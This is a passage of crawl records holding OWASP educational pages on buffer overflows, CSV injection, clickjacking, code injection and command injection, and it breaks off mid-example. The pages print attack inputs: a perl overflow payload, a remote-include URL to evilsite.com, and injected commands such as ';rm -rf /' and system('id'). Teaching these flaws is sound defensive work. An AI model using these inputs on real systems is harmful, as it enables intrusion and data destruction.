with mod_rewrite) automatic tools are sometimes unable to\ndetermine “File not found” errors due to the server response being an\nHTTP response code 200 but the page itself indicates “File not found”.\nThis can lead to false positives if the brute force tool is only relying\non HTTP response codes.\n\n[Burp Suite](http://portswigger.net/), can be used to parse specific parts of\nthe page returned, looking for certain strings in an effort to reduce\nfalse positives.\n\n### Example 2\n\nIn regards to authentication, when no password policy is in place an\nattacker can use lists of common username and passwords to brute force a\nusername or password field until successful authentication.\n\n## Defensive Tools\n\n[Php-Brute-Force-Attack Detector](http://yehg.net/lab/pr0js/files.php/php_brute_force_detect.zip)\n\nDetect your web servers being scanned by brute force tools such as\nWFuzz, OWASP DirBuster and vulnerability scanners such as Nessus, Nikto,\nAcunetix, etc. This helps you quickly identify probable probing by bad\nactors who want to dig possible security holes.\n\n[Docs](http://yehg.net/lab/pr0js/tools/php-brute-force-detector-readme.pdf)\n\n## References\n\n[DirBuster](https://wiki.owasp.org/index.php/Category:OWASP_DirBuster_Project)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 5771, "slov": 752, "odkazu": 34, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:33", "sha256": "89c5e22a75a65b65213b6e0ab43c75fb26c85445bf90a4a68942dfaadddd437a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Category:OWASP_DirBuster_Project", "http://sourceforge.net/projects/dirb/", "http://www.cirt.dk/tools/webroot/WebRoot.txt", "http://portswigger.net/", "http://yehg.net/lab/pr0js/files.php/php_brute_force_detect.zip", "http://yehg.net/lab/pr0js/tools/php-brute-force-detector-readme.pdf", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Buffer_overflow_attack", "titulek": "Buffer Overflow Attack | OWASP Foundation", "h1": "Buffer Overflow Attack", "popis": "Buffer Overflow Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Buffer_overflow_attack", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Buffer Overflow Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Buffer Overflow Attack | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Buffer_overflow_attack", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Buffer Overflow Attack"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 3, "text": "How to Review Code for Buffer Overflow Vulnerabilities"}, {"uroven": 2, "text": "References"}], "markdown": "# Buffer Overflow Attack\n\n**Contributor(s):** OWASP, Rezos, Thaigoalz, KristenS, Andrew Smith, Jmanico, hblankenship , nbaars, cmvar8, CRImier, pranavek, hblankenship , tghosth, nbaars, k-37, kingthorin\n\n## Description\n\nBuffer overflow errors are characterized by the overwriting of memory\nfragments of the process, which should have never been modified\nintentionally or unintentionally. Overwriting values of the IP\n(Instruction Pointer), BP (Base Pointer) and other registers causes\nexceptions, segmentation faults, and other errors to occur. Usually\nthese errors end execution of the application in an unexpected way.\nBuffer overflow errors occur when we operate on buffers of char type.\n\nBuffer overflows can consist of overflowing the stack [Stack\noverflow] or overflowing the heap [Heap\noverflow]. We don’t distinguish between these\ntwo in this article to avoid confusion.\n\nBelow examples are written in C language under GNU/Linux system on x86\narchitecture.\n\n## Examples\n\n### Example 1\n\n```\n#include \nint main(int argc, char **argv) {\n char buf[8]; // buffer for eight characters\n gets(buf); // read from stdio (sensitive function!)\n printf(\"%s\\n\", buf); // print out data stored in buf\n return 0; // 0 as return value\n}\n```\n\nThis very simple application reads from the standard input an array of\nthe characters, and copies it into the buffer of the char type. The size\nof this buffer is eight characters. After that, the contents of the\nbuffer is displayed and the application exits.\n\nProgram compilation:\n\n```\nuser@spin ~/inzynieria $ gcc bo-simple.c -o bo-simple\n/tmp/ccECXQAX.o: In function `main':\nbo-simple.c:(.text+0x17): warning: the `gets' function is dangerous and\nshould not be used.\n```\n\nAt this stage, even the compiler suggests that the function gets() isn’t\nsafe.\n\nUsage example:\n\n```\nuser@spin ~/inzynieria $ ./bo-simple // program start\n1234 // we enter \"1234\" string from the keyboard\n1234 // program prints out the content of the buffer\nuser@spin ~/inzynieria $ ./bo-simple // start\n123456789012 // we enter \"123456789012\"\n123456789012 // content of the buffer \"buf\" ?!?!\nSegmentation fault // information about memory segmenatation fault\n```\n\nWe manage (un)luckily to execute the faulty operation by the program,\nand provoke it to exit abnormally.\n\nProblem analysis:\n\nThe program calls a function, which operates on the char type buffer and\ndoes no checks against overflowing the size assigned to this buffer. As\na result, it is possible to intentionally or unintentionally store more\ndata in the buffer, which will cause an error. The following question\narises: The buffer stores only eight characters, so why did function\nprintf() display twelve?. The answer comes from the process memory\norganisation. Four characters which overflowed the buffer also overwrite\nthe value stored in one of the registers, which was necessary for the\ncorrect function return. Memory continuity resulted in printing out the\ndata stored in this memory area.\n\n### Example 2\n\n```\n#include \n#include \n\nvoid doit(void) {\n char buf[8];\n\n gets(buf);\n printf(\"%s\\n\", buf);\n}\n\nint main(void) {\n printf(\"So... The End...\\n\");\n doit();\n printf(\"or... maybe not?\\n\");\n\n return 0;\n}\n```\n\nThis example is analogous to the first one. In addition, before and\nafter the doit() function, we have two calls to function printf().\n\n```\nCompilation:\n\nuser@dojo-labs ~/owasp/buffer_overflow $ gcc example02.c -o example02\n-ggdb\n/tmp/cccbMjcN.o: In function `doit':\n/home/user/owasp/buffer_overflow/example02.c:8: warning: the `gets'\nfunction is dangerous and should not be used.\n\nUsage example:\nuser@dojo-labs ~/owasp/buffer_overflow $ ./example02\nSo... The End...\nTEST // user data on input\nTEST // print out stored user data\nor... maybe not?\n```\n\nThe program between the two defined printf() calls displays the content\nof the buffer, which is filled with data entered by the user.\n\n```\nuser@dojo-labs ~/owasp/buffer_overflow $ ./example02\nSo... The End...\nTEST123456789\nTEST123456789\nSegmentation fault\n```\n\nBecause the size of the buffer was defined (char buf[8]) and it was\nfilled it with thirteen characters of char type, the buffer was\noverflowed.\n\nIf our binary application is in ELF format, then we are able to use an\nobjdump program to analyse it and find necessary information to exploit\nthe buffer overflow error.\n\nBelow is output produced by the objdump. From that output we are able to\nfind addresses, where printf() is called (0x80483d6 and 0x80483e7).\n\n```\nuser@dojo-labs ~/owasp/buffer_overflow $ objdump -d ./example02\n 080483be
:\n 80483be: 8d 4c 24 04 lea 0x4(%esp),%ecx\n 80483c2: 83 e4 f0 and $0xfffffff0,%esp\n 80483c5: ff 71 fc pushl 0xfffffffc(%ecx)\n 80483c8: 55 push %ebp\n 80483c9: 89 e5 mov %esp,%ebp\n 80483cb: 51 push %ecx\n 80483cc: 83 ec 04 sub $0x4,%esp\n 80483cf: c7 04 24 bc 84 04 08 movl $0x80484bc,(%esp) 80483d6: e8 f5 fe ff ff call 80482d0 80483db: e8 c0 ff ff ff call 80483a0 80483e0: c7 04 24 cd 84 04 08 movl $0x80484cd,(%esp) 80483e7: e8 e4 fe ff ff call 80482d0 80483ec: b8 00 00 00 00 mov $0x0,%eax\n 80483f1: 83 c4 04 add $0x4,%esp\n 80483f4: 59 pop %ecx\n 80483f5: 5d pop %ebp\n 80483f6: 8d 61 fc lea 0xfffffffc(%ecx),%esp\n 80483f9: c3 ret\n 80483fa: 90 nop\n 80483fb: 90 nop\n```\n\nIf the second call to printf() would inform the administrator about user\nlogout (e.g. closed session), then we can try to omit this step and\nfinish without the call to printf().\n\n```\nuser@dojo-labs ~/owasp/buffer_overflow $ perl -e 'print \"A\"x12\n .\"\\xf9\\x83\\x04\\x08\"' | ./example02\n So... The End...\n AAAAAAAAAAAAu*.\n Segmentation fault\n```\n\nThe application finished its execution with segmentation fault, but the\nsecond call to printf() had no place.\n\nA few words of explanation:\n\nperl -e ‘print “A”x12 .”\\xf9\\x83\\x04\\x08”’ - will print out twelve\n“A” characters and then four characters, which are in fact an address of\nthe instruction we want to execute. Why twelve?\n\n```\n 8 // size of buf (char buf[8])\n+ 4 // four additional bytes for overwriting stack frame pointer\n----\n 12\n```\n\nProblem analysis:\n\nThe issue is the same as in the first example. There is no control over\nthe size of the copied buffer into the previously declared one. In this\nexample we overwrite the EIP register with address 0x080483f9, which is\nin fact a call to ret in the last phase of the program execution.\n\nHow to use buffer overflow errors in a different way?\n\nGenerally, exploitation of these errors may lead to:\n\n- application DoS\n- reordering execution of functions\n- code execution (if we are able to inject the shellcode, described in\nthe separate document)\n\nHow are buffer overflow errors are made?\n\nThese kinds of errors are very easy to make. For years they were a\nprogrammer’s nightmare. The problem lies in native C functions, which\ndon’t care about doing appropriate buffer length checks. Below is the\nlist of such functions and, if they exist, their safe equivalents:\n\n- `gets() -\\> fgets()` - read characters\n- `strcpy() -\\> strncpy()` - copy content of the buffer\n- `strcat() -\\> strncat()` - buffer concatenation\n- `sprintf() -\\> snprintf()` - fill buffer with data of different types\n- `(f)scanf()` - read from STDIN\n- `getwd()` - return working directory\n- `realpath()` - return absolute (full) path\n\nUse safe equivalent functions, which check the buffers length, whenever\nit’s possible. Namely:\n\n1. `gets() -\\> fgets()`\n2. `strcpy() -\\> strncpy()`\n3. `strcat() -\\> strncat()`\n4. `sprintf() -\\> snprintf()`\n\nThose functions which don’t have safe equivalents should be rewritten\nwith safe checks implemented. Time spent on that will benefit in the\nfuture. Remember that you have to do it only once.\n\nUse compilers, which are able to identify unsafe functions, logic errors\nand check if the memory is overwritten when and where it shouldn’t be.\n\n### How to Review Code for Buffer Overflow Vulnerabilities\n\nSee the [OWASP Code Review Guide](https://owasp.org/www-project-code-review-guide/)\n\n## References\n\n- [SmashStack](http://insecure.org/stf/smashstack.html)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 7940, "slov": 1210, "odkazu": 28, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:41:52", "sha256": "b50ba30b5b74a5d62bd769f2e13a12089b18752281b7963392b6a2527e5e6602", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://insecure.org/stf/smashstack.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/CSV_Injection", "titulek": "CSV Injection | OWASP Foundation", "h1": "CSV Injection", "popis": "CSV Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/CSV_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "CSV Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "CSV Injection | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/CSV_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "CSV Injection"}, {"uroven": 3, "text": "Excel-resistant mitigation"}], "markdown": "# CSV Injection\n\n**Author:** Timo Goosen, Albinowax \n **Contributor(s):** kingthorin, Prasun Srivastav\n\nCSV Injection, also known as Formula Injection, occurs when websites\nembed untrusted input inside CSV files.\n\nWhen a spreadsheet program such as Microsoft Excel or LibreOffice Calc\nis used to open a CSV, any cells starting with `=` will be interpreted\nby the software as a formula. Maliciously crafted formulas can be used\nfor three key attacks:\n\n- Hijacking the user’s computer by exploiting vulnerabilities in the spreadsheet software, such as CVE-2014-3524.\n- Hijacking the user’s computer by exploiting the user’s tendency to ignore security warnings in spreadsheets that they downloaded from their own website.\n- Exfiltrating contents from the spreadsheet, or other open spreadsheets.\n\nThis attack is difficult to mitigate, and explicitly disallowed from\nquite a few bug bounty programs. To remediate it, ensure that no cells\nbegin with any of the following characters:\n\n⚠️ **Important (Microsoft Excel behavior)**\n\nMicrosoft Excel may remove quotes or escape characters from CSV cells\nwhen a file is saved and re-opened. As a result, commonly suggested CSV\ninjection mitigations may fail and previously escaped formulas may become\nactive again.\n\n- Equals to ( `=` )\n- Plus ( `+` )\n- Minus ( `-` )\n- At ( `@` )\n- Tab ( `0x09` )\n- Carriage return ( `0x0D` )\n- Line feed ( `0x0A` )\n- Full-width (double-byte) variants of formula-initiating characters such as `=` , `+` , `-` , and `ďĽ` , which may be interpreted as formulas in some locales\n(e.g., Japanese environments).\n\nKeep in mind that it is not sufficient to make sure that the untrusted user input\ndoes not start with these characters. You also need to take care of the field\nseparator (e.g., `,`, `;`) and quotes (e.g., `\"`, `'`), as attackers could use\nthis to start a new cell and then have the dangerous character in the middle of\nthe user input, but at the beginning of a cell.\n\nAlternatively, apply the following sanitization to each field of the CSV, so that their content will be read as text by the spreadsheet editor:\n\n- Wrap each cell field in double quotes\n- Prepend each cell field with a single quote\n- Escape every double quote using an additional double quote\n\nNote: The above techniques are not reliable in Microsoft Excel after\nsaving and re-opening the CSV file.\n\nTwo examples:\n\n| Input | Escaped Output |\n| --- | --- |\n| `=1+2\";=1+2` | `\"'=1+2\"\";=1+2\"` |\n| `=1+2'\" ;,=1+2` | `\"'=1+2'\"\" ;,=1+2\"` |\n\n### Excel-resistant mitigation\n\nTo reliably prevent formula execution in Microsoft Excel, prefix any cell\nstarting with `=`, `+`, `-`, or `@` with a **tab character (`0x09`) inside\nthe quoted field**.\n\nThis behavior has been observed in Microsoft Excel and may differ in\nother spreadsheet applications.\n\n| Input | Escaped Output |\n| --- | --- |\n| `=1+2` | `\"\\t=1+2\"` |\n\n⚠️ **Trade-off**\n\nThe tab character remains part of the underlying data and may affect\ndownstream processing if the CSV is later imported programmatically.\nThis mitigation is best suited for CSV files intended for human viewing\nin spreadsheet applications.\n\nThere is no universal CSV sanitization strategy that is safe for all\nspreadsheet applications and all downstream consumers.\n\nFor further information, please refer to the following articles:\n\n- [Stealing Google Docs via CSV Injection](http://georgemauer.net/2017/10/07/csv-injection.html)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 3375, "slov": 533, "odkazu": 27, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:04", "sha256": "4cb90797ddbbb996377ac40a253b96b02ae582d7c93bedd0938e92cf809946f2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://georgemauer.net/2017/10/07/csv-injection.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Clickjacking", "titulek": "Clickjacking | OWASP Foundation", "h1": "Clickjacking", "popis": "Clickjacking on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Clickjacking", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Clickjacking on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Clickjacking | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Clickjacking", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Clickjacking"}, {"uroven": 1, "text": "Examples"}, {"uroven": 1, "text": "Defending against Clickjacking"}, {"uroven": 1, "text": "References"}], "markdown": "# Clickjacking\n\n**Author:** Gustav Rydstedt \n **Contributor(s):** Wichers, Jmanico, MichaelCoates, Till Maas, Ajay, Michael Monsivais, Arun Kumar V, Abhinav, Neil Smithline, kingthorin, Shai Alon\n\nClickjacking, also known as a “UI redress attack”, is when an attacker\nuses multiple transparent or opaque layers to trick a user into clicking\non a button or link on another page when they were intending to click on\nthe top level page. Thus, the attacker is “hijacking” clicks meant\nfor their page and routing them to another page, most likely owned by\nanother application, domain, or both.\n\nUsing a similar technique, keystrokes can also be hijacked. With a\ncarefully crafted combination of stylesheets, iframes, and text boxes, a\nuser can be led to believe they are typing in the password to their\nemail or bank account, but are instead typing into an invisible frame\ncontrolled by the attacker.\n\n# Examples\n\nFor example, imagine an attacker who builds a web site that has a button\non it that says “click here for a free iPod”. However, on top of that\nweb page, the attacker has loaded an iframe with your mail account, and\nlined up exactly the “delete all messages” button directly on top of the\n“free iPod” button. The victim tries to click on the “free iPod” button\nbut instead actually clicked on the invisible “delete all messages”\nbutton. In essence, the attacker has “hijacked” the user’s click, hence\nthe name “Clickjacking”.\n\nOne of the most notorious examples of Clickjacking was an attack against\nthe [Adobe Flash plugin settings\npage](http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager06.html).\nBy loading this page into an invisible iframe, an attacker could trick a\nuser into altering the security settings of Flash, giving permission for\nany Flash animation to utilize the computer’s microphone and camera.\n\nClickjacking also made the news in the form of a [Twitter\nworm](http://shiflett.org/blog/2009/feb/twitter-dont-click-exploit).\nThis clickjacking attack convinced users to click on a button which\ncaused them to re-tweet the location of the malicious page, and\npropagated massively.\n\nThere have also been clickjacking attacks abusing Facebook’s “Like”\nfunctionality. [Attackers can trick logged-in Facebook users to\narbitrarily like fan pages, links, groups,\netc](http://threatpost.com/en_us/blogs/facebook-jacking-scams-expand-060310)\n\n# Defending against Clickjacking\n\nThere are three main ways to prevent clickjacking:\n\n1. Sending the proper Content Security Policy (CSP) frame-ancestors directive response headers that instruct the browser to not allow framing from other domains. The older `X-Frame-Options` HTTP headers is used for graceful degradation and older browser compatibility.\n2. Properly setting authentication cookies with `SameSite=Strict` (or `Lax` ), unless they explicitly need `None` (which is rare).\n3. Employing defensive code in the UI to ensure that the current frame is the most top level window.\n\nFor more information on Clickjacking defense, please see the the [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n\n# References\n\n- [Why am I anxious about Clickjacking?](https://www.linkedin.com/pulse/20141202104842-120953718-why-am-i-anxious-about-clickjacking) — A Basic understanding of Clickjacking Attack\n- [Content-Security-Policy: frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) (Mozilla Developer Network)\n- [X-Frame-Options response header](https://developer.mozilla.org/en-US/docs/The_X-FRAME-OPTIONS_response_header) (Mozilla Developer Network)\n- [Clickjacking, Sec Theory](http://www.sectheory.com/clickjacking.htm) — A paper by Robert Hansen defining the term, its implications against Flash at the time of writing, and a disclosure timeline.\n- [Clickjacking Defense](https://www.codemagi.com/blog/post/194) — Framebreaking defense for legacy browsers that do not support X-Frame-Option headers.\n- [CSP frame-ancestors vs. X-Frame-Options for Clickjacking prevention](https://medium.com/@shaialon/csp-frame-ancestors-vs-x-frame-options-for-clickjacking-prevention-30383a713772)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 4281, "slov": 566, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:07", "sha256": "fee1dc17b3833ee19d510c0ea5655b1c4d9d29722dde7c1f8a576f53b9aec129", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager06.html", "http://shiflett.org/blog/2009/feb/twitter-dont-click-exploit", "http://threatpost.com/en_us/blogs/facebook-jacking-scams-expand-060310", "https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html", "https://www.linkedin.com/pulse/20141202104842-120953718-why-am-i-anxious-about-clickjacking", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors", "https://developer.mozilla.org/en-US/docs/The_X-FRAME-OPTIONS_response_header", "http://www.sectheory.com/clickjacking.htm", "https://www.codemagi.com/blog/post/194", "https://medium.com/@shaialon/csp-frame-ancestors-vs-x-frame-options-for-clickjacking-prevention-30383a713772", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Code_Injection", "titulek": "Code Injection | OWASP Foundation", "h1": "Code Injection", "popis": "Code Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Code_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Code Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Code Injection | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Code_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Code Injection"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Examples"}, {"uroven": 2, "text": "References"}], "markdown": "# Code Injection\n\n**Author:** Weilin Zhong, Rezos \n **Contributor(s):** OWASP, Thandermax, Csa, KristenS, Wichers, Neil Bergman, Camilo, Andrew Smith, kingthorin\n\n## Description\n\nCode Injection is the general term for attack types which consist of\ninjecting code that is then interpreted/executed by the application.\nThis type of attack exploits poor handling of untrusted data. These\ntypes of attacks are usually made possible due to a lack of proper\ninput/output data validation, for example:\n\n- allowed characters (standard regular expressions classes or custom)\n- data format\n- amount of expected data\n\nCode Injection differs from [Command\nInjection](Command_Injection) in that an attacker is only\nlimited by the functionality of the injected language itself. If an\nattacker is able to inject PHP code into an application and have it\nexecuted, they are only limited by what PHP is capable of. Command\ninjection consists of leveraging existing code to execute commands,\nusually within the context of a shell.\n\n## Risk Factors\n\n- These types of vulnerabilities can range from very hard to find, to easy to find\n- If found, are usually moderately hard to exploit, depending of scenario\n- If successfully exploited, impact could cover loss of confidentiality, loss of integrity, loss of availability, and/or loss of accountability\n\n## Examples\n\n**Example 1**\n\nIf an application passes a parameter sent via a GET request to the PHP\n`include()` function with no input validation, the attacker may try to\nexecute code other than what the developer had in mind.\n\nThe URL below passes a page name to the `include()` function.\n`http://testsite.com/index.php?page=contact.php`\n\nThe file “evilcode.php” may contain, for example, the phpinfo() function\nwhich is useful for gaining information about the configuration of the\nenvironment in which the web service runs. An attacker can ask the\napplication to execute their PHP code using the following request:\n`http://testsite.com/?page=http://evilsite.com/evilcode.php`\n\n**Example 2**\n\nWhen a developer uses the PHP `eval()` function and passes it untrusted\ndata that an attacker can modify, code injection could be possible.\n\nThe example below shows a dangerous way to use the `eval()` function:\n\n```\n$myvar = \"varname\";\n$x = $_GET['arg'];\neval(\"$myvar = $x;\");\n```\n\nAs there is no input validation, the code above is vulnerable to a Code\nInjection attack.\n\nFor example: `/index.php?arg=1; phpinfo()`\n\nWhile exploiting bugs like these, an attacker may want to execute system\ncommands. In this case, a code injection bug can also be used for\ncommand injection, for example: `/index.php?arg=1; system('id')`\n\n## References\n\n- [CWE-77: Command Injection](http://cwe.mitre.org/data/definitions/77.html)\n- [CWE-78: OS Command Injection](http://cwe.mitre.org/data/definitions/78.html)\n- [CWE-89: SQL Injection](http://cwe.mitre.org/data/definitions/77.html)\n\n[Category:Injection](https://owasp.org/www-community/Injection_Flaws)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 3008, "slov": 405, "odkazu": 30, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:47", "sha256": "7ec02e61ed6162a6fcd164cfa9fa5f67f87f2bc19f984a371901e05cb0283ced", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://cwe.mitre.org/data/definitions/77.html", "http://cwe.mitre.org/data/definitions/78.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Command_Injection", "titulek": "Command Injection | OWASP Foundation", "h1": "Command Injection", "popis": "Command Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Command_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Command Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Command Injection | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Command_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Command Injection"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 3, "text": "Example 3"}, {"uroven": 3, "text": "Example 4"}, {"uroven": 3, "text": "Example 5"}, {"uroven": 3, "text": "Example 6"}, {"uroven": 2, "text": "References"}], "markdown": "# Command Injection\n\n**Author:** Weilin Zhong \n **Contributor(s):** Wichers, Amwestgate, Rezos, Clow808, KristenS, Jason Li, Andrew Smith, Jmanico, Tal Mel, kingthorin\n\n## Description\n\nCommand injection is an attack in which the goal is execution of\narbitrary commands on the host operating system via a vulnerable\napplication. Command injection attacks are possible when an application\npasses unsafe user supplied data (forms, cookies, HTTP headers etc.) to\na system shell. In this attack, the attacker-supplied operating system\ncommands are usually executed with the privileges of the vulnerable\napplication. Command injection attacks are possible largely due to\ninsufficient input validation.\n\nThis attack differs from [Code Injection](Code_Injection), in\nthat code injection allows the attacker to add their own code that is then\nexecuted by the application. In Command Injection, the attacker extends\nthe default functionality of the application, which execute system\ncommands, without the necessity of injecting code.\n\n## Examples\n\n### Example 1\n\nThe following code is a wrapper around the UNIX command *cat* which\nprints the contents of a file to standard output. It is also injectable:\n\n```\n#include \n#include \n\nint main(int argc, char **argv) {\n char cat[] = \"cat \";\n char *command;\n size_t commandLength;\n\n commandLength = strlen(cat) + strlen(argv[1]) + 1;\n command = (char *) malloc(commandLength);\n strncpy(command, cat, commandLength);\n strncat(command, argv[1], (commandLength - strlen(cat)) );\n\n system(command);\n return (0);\n}\n```\n\nUsed normally, the output is simply the contents of the file requested:\n\n```\n$ ./catWrapper Story.txt\nWhen last we left our heroes...\n```\n\nHowever, if we add a semicolon and another command to the end of this\nline, the command is executed by catWrapper with no complaint:\n\n```\n$ ./catWrapper \"Story.txt; ls\" When last we left our heroes...\nStory.txt doubFree.c nullpointer.c\nunstosig.c www* a.out*\nformat.c strlen.c useFree*\ncatWrapper* misnull.c strlength.c useFree.c\ncommandinjection.c nodefault.c trunc.c writeWhatWhere.c\n```\n\nIf catWrapper had been set to have a higher privilege level than the\nstandard user, arbitrary commands could be executed with that higher\nprivilege.\n\n### Example 2\n\nThe following simple program accepts a filename as a command line\nargument, and displays the contents of the file back to the user. The\nprogram is installed setuid root because it is intended for use as a\nlearning tool to allow system administrators in-training to inspect\nprivileged system files without giving them the ability to modify them\nor damage the system.\n\n```\nint main(char* argc, char** argv) {\n char cmd[CMD_MAX] = \"/usr/bin/cat \";\n strcat(cmd, argv[1]);\n system(cmd);\n}\n```\n\nBecause the program runs with root privileges, the call to system() also\nexecutes with root privileges. If a user specifies a standard filename,\nthe call works as expected. However, if an attacker passes a string of\nthe form “;rm -rf /”, then the call to system() fails to execute cat due\nto a lack of arguments and then plows on to recursively delete the\ncontents of the root partition.\n\n### Example 3\n\nThe following code from a privileged program uses the environment\nvariable $APPHOME to determine the application’s installation directory,\nand then executes an initialization script in that directory.\n\n```\n...\nchar* 